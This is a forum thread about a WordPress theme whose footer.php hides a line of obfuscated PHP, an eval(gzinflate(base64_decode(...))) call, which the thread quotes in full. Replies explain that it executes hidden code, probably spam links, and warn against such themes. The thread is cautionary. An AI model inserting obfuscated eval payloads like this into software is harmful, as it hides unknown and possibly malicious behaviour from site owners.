Stat counter or Google Analitics on theme pages question

This theme’s footer has just a small paragraph about 5 lines of letters and numbers and that’s it.

I don’t like the sounds of that. Would you mind letting us know the contents of footer.php?

<?php eval(gzinflate(base64_decode(“fZFPS8QwEMXPLvQ7jLmsgt0Iggdts+DFq4jgcUmb2TbQ/CGZ3VI/vWm7uq4uHt9j8t5kfmtRrH3roUHaRK2wkuHq+hHWIltki4uCK70XxWWeA1oFtet2xsZNH6T3GCDPD2NpCrQq2dY5wsCS+9aiQVAYdWNRQTVAIaENuC1ZS+QfOO/7fmWiD5K0beKqdoYzIE0dlsxgqFtpCWRdu52lyMQfq+BSFFUALl4CRrT0T42rCI3vJOFpzxPKHQ3w7oLyKSTCtDYT5/2xESD9F2Q6xrmiRqp0yEZ/nNY8Tza84l5jz0SSeNRj6s132vJHWkR3d387RS1FEpDUOD1uMJPJFr8IedngF5YZbO83M5Uj1sMbXjk1TBEtmU58Ag==”))); ?>
That’s it for the footer except for stat counter code. This isn’t some type of B. S. is it?

Scott

Aw man, I knew it. That’s Base64. Please, never, never, EVER use a theme that contains that kind of garbage. As I have stated on this forum many times this is a technique used by shady authors to protect the spammy links they insert into footer.php. The problem is this could also be used for something far more devious.

The line decode decodes everything within the () while eval evaluates, or executes the newly decoded stuff. Do you really want to upload this to your server not knowing what it is or what it does?

What theme are you using and where did you get it?

Lake Reflection
Theme URI: https://www.mobtemplate.com
Version: 1.0
Description: Lake Reflection 1.0 WordPress Theme by Robert
Author: Robert
Author URI: https://www.mobtemplate.com

That’s the info on the theme. I will be checking a little harder before I use a theme again. When I saw the stuff in the footer I started thinking all kinds of things like tracking code, password stealing etc… I took this theme because it goes along with the theme of my site.

I have others I can use and will be switching once I check the pages!

Thanks
Scott

Just to update this I just downloaded 11 themes that I might like to use. Only 2 had a normal footer the rest had this kind of crap in them so I am guessing that about 90% of the blogs out there are using themes with this crap in the footers.

I tried deleting it and it wiped out everything on my blog.

Scott

I am not just trying to bump this post but on top of what I said above does anyone have any more info about the code I posted above and is it safe to use themes with this?

I am getting the idea that it is a bunch of b.s. tracking code. I can’t get the stat counter plug in to work with this type of footer page. If these themes are safe to work with what would be a work around to get the stat counter plug in to work? Like I said in a reply above I downloaded 11 themes and all but 2 had that code in them. I checked every other theme I have stored on my HD probably 30 and I could only come up with about 5 that had a good footer.

I would like to learn more about this as I have an IM blog and it might make for a good post.

Scott

Scott,

The vast majority of WordPress themes do not carry this code. Where you will see its use rampant is certain theme galleries. They either design the themes themselves, place spammy links in the footer then use Base64 to make sure you can’t tamper with them … OR … they take EXISTING themes, remove the original author credits and replace them with their own and then stick the links in footer.

As I said, its usually done to protect their spammy links. BUT this technique could easily be adapted for something more evil. Bottom line is you don’t know what the code is so uploading it to your server is very dangerous.

The vast majority of WordPress theme designers are reputable and trustworthy people who DO NOT engage in this practice.

If you want to learn how to decode this crap visit any PHP forum.